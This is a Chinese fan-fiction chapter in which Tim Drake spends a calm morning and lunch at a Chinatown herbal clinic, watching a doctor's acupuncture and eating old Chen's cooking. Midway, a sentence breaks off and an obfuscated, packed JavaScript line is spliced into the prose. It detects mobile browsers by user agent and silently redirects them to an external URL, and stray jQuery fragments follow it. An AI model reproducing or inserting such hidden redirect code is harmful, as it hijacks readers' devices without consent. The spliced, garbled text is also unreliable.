晨光漫过悬壶居的黄铜药屉，提姆坐在靠窗的藤编圈椅里，笔记本电脑搁在雕花小几上。
药铺的空气浮着淡淡的艾草香，混着陈伯刚端来的凤凰单枞茶气，竟让他处理韦恩集团邮件的效率比在蝙蝠洞时还高三分。
许言秋在诊室屏风后为老人针灸，银针破风的轻响与键盘敲击声微妙地交错，像古老与现代截然不同却配合十分默契的和弦。
“核桃酥，配碧螺春，希望您没有坚果过敏。”
陈伯的布鞋底无声息地滑过地板，描金漆盒里码着六边形糕点，每块都嵌着完整的琥珀核桃仁。老人布满皱纹的手稳得不像话，斟茶时一滴未溅——这让提姆突然想起阿福总能把红茶倒出精密仪器的水准。
诊室传来一阵轻笑，“王伯，您这腰痛是抱孙女累的，不是撞邪。”许言秋的声音裹着药碾子的滚动声，“每日倒走半小时，比喝符水管用。”
提姆的视线从财报数据上移开一点距离，瞥见许言秋新换的月白长衫的袖口卷到手肘，小臂上那道烫伤已覆了层透明的药膜。
陈伯又往他手边推了碟腌渍金桔，接着转身去整理药柜，提姆注意到他总把最常用的当归放在触手可及的第三层——阿福也会将自己爱喝的咖啡豆存放在厨房一个类似的位置。
“小许医生，我的膏药贴总翘边！”卖花阿婆扯着嗓子抱怨。
“用蜂蜜调点温水抹四角。”许言秋头也不抬地写药方，钢笔尖在纸张上沙沙作响。
提姆看着那人用左手压住纸卷的姿势，突然想起布鲁斯批阅文件时固定纸张的铂金镇尺——都是将实用主义刻进骨子里的习惯。
药铺的铜铃又一次响起时，提姆已回完上午的十几封邮件。陈伯默默替他的茶盏续了一次水，候诊区的老式座钟滴答摇摆，阳光穿过窗棂，在提姆的键盘上烙下细碎的光斑。
他惊觉自己竟适应了这种喧哗中的宁静——没有通讯频道紧急的呼叫，只有药碾与捣臼的节奏作背景音。
许言秋送走上午倒数第二位病人时，提姆刚合上电脑。诊案上的青瓷碗里凝着半碗冷掉的药汁，那人执起碗一饮而尽，喉结滚动的弧度又牵动了谁的那颗心呢？
铜炉上的药吊噗噗冒着热气，提姆望着陈伯佝偻的背影在药柜间穿梭。老人正将晒干的橘皮串成帘，逆光中的剪影与记忆里修剪玫瑰丛的阿福重叠成双。
这一刻他突然确信——有些人的温柔不必靠血缘维系，就像中药铺的暖意终会渗进哥谭最冷的裂缝。
许言秋还有一位病人，提姆索性开始现场围观他工作。
老裁缝的肩周炎发作得厉害，左臂僵硬无比。许言秋撩起患者衣袖的力道轻到不能再轻，食指沿肩髃穴一路滑至曲池穴。
“可能会有点酸胀。”话音未落，银针已没入皮下半分，针尾微微震颤如蜻蜓点水。
“陈伯，取一罐艾绒。”
许言秋头也不抬地吩咐，左手仍按在老裁缝突起的骨节上。陈伯佝偻着背从药柜顶层摸出青瓷罐，倒出的艾绒带着陈年普洱的沉香气。许言秋将艾绒捻成麦粒大的柱体，轻轻套在针尾点燃，青烟笔直如线，丝毫不呛。
老裁缝龇牙咧嘴的表情逐渐松弛。“神咧！”他试着抬臂去够茶杯，半月未动的关节发出脆响，“许医生你这手还是这么管用！”
悬壶居的老座钟敲响十二下时，提姆才惊觉晨光早已褪成蜜色。许言秋正将最后一根银针收入鹿皮卷——那人收拾器具的动作像在演奏乐器，金属碰撞声透出一股韵律。
药柜旁的榆木小几上，陈伯不知何时悄然布好了碗筷，青花瓷盘里腾起的热气在阳光中织成蛛网，勾着人的胃袋发紧。
“今天吃腊味煲仔饭，这是陈伯的拿手好饭，你可要多吃几碗。”
许言秋用长柄铜勺轻敲砂锅边缘，焦香的锅巴脆响如冰层碎裂。他挽起的袖口下，烫伤处已覆上薄如蝉翼的草药贴。
视线掠过对方手腕的旧茧，却被骤然涌入鼻腔的香气截断——陈伯端来的白瓷盅里，腌笃鲜的咸香混着莴笋的清气，恍若将江南春色凝成一盅。
提姆舀起一勺蟹粉豆腐，金黄的蟹油在嫩白豆花上晕开涟漪。舌尖触到温热的瞬间，他忽然理解为何哥谭的□□头目们都爱来唐人街谈判——任谁尝过这口鲜甜，枪管抵在腰眼时都能多三分耐心。
“这道开水白菜，吊了六小时的瑶柱高汤。”
许言秋用筷尖挑开白菜芯，琥珀色的汤液如熔金淌过青瓷碗。提姆的侦查本能仍在运转：那人执筷时的力度和角度看起来绝对能用筷子当作武器。
可当清汤滑过喉管，所有有的没的都碎成浮沫——鲜味从舌尖直冲天灵盖，仿佛有支交响乐团在味蕾上奏响《欢乐颂》。
陈伯又端上来一道冰糖肘子，琥珀色的糖壳在冬阳下泛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091413|163637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着琉璃光。提姆的叉尖戳破脆皮时，听见油脂与肉汁迸裂的轻响，像极了夜巡时踩碎哥谭小巷冰面的动静。
软糯的肘子皮入口即化，里面的瘦肉一点不柴，提姆隐约间在酱香里居然尝出些许波尔多红酒的层次感——这发现让他叉子顿了顿，抬头正撞见许言秋镜片后狡黠的笑。
“陈伯年轻时在和平饭店掌过勺。”许言秋舀了勺翡翠虾仁到提姆碗里，“他做的龙井虾仁，香掉眉毛。”
药铺后院的竹帘被风掀起，露出檐下风干的火腿与腊鸭。提姆望着油光水滑的鸭皮，突然想起自己此行目的。
他强迫自己的视线回到许言秋的医师袍上——那人襟前别着枚素银胸针，造型是缠绕的藤蔓，却在某个转折处锐利如蝙蝠镖的刃。
“尝尝这个。”陈伯突然开口，端上的杏仁豆腐颤巍巍如凝脂。老人枯槁的指尖点在碗沿，“最近发现的一棵山杏，用杏核磨的，清火。”
“陈伯……不要乱吃东西啊。您忘了之前那几个留学生，把水仙认成韭菜的事了？差点命都没了。”
陈伯见自己的识物能力居然被质疑了，气不打一处来，当即掏出一个杏核，就差塞进许言秋的眼睛里了。
“你看你看！这怎么可能是别的东西嘛！清清楚楚，你居然污蔑我！”
许言秋真的拿到眼前辨认了一下，确定就是普通的杏核之后才移开了盖在碗上的手，同意提姆尝尝那碗杏仁豆腐。
提姆从善如流，瓷勺陷进奶冻般的膏体，薄荷脑的凉意直冲天灵盖，瞬间浇灭所有猜疑的火星。
许言秋起身添茶时，衣服下摆扫过提姆膝头，带起一缕混着沉香的药气。那人腕间的檀木珠串与桌沿碰撞，发出叮叮咚咚的闷响。
提姆的观察日志刚准备在脑中自动生成，却被陈伯新上的一碗酒酿圆子截断思绪。糯白团子浮在琥珀色甜汤里，桂花碎如金箔点缀其间，暖意顺着食道熨平所有警觉的褶皱。
当提姆发觉自己第三次主动夹向龙井虾仁时，许言秋正用绢帕擦拭工作时候带上的眼镜。
室外的阳光透过水汽朦胧的镜片，将那人眼尾的泪痣晕染成模糊的墨点，却比任何监控画面都真实生动。
悬壶居门口的铜铃在风中轻晃，提姆忽然希望这顿午餐永无终章——至少在此刻，他甘愿做被龙井虾仁收买的侦探，将哥谭所有阴谋诡计暂搁在酒酿小圆子的碗底。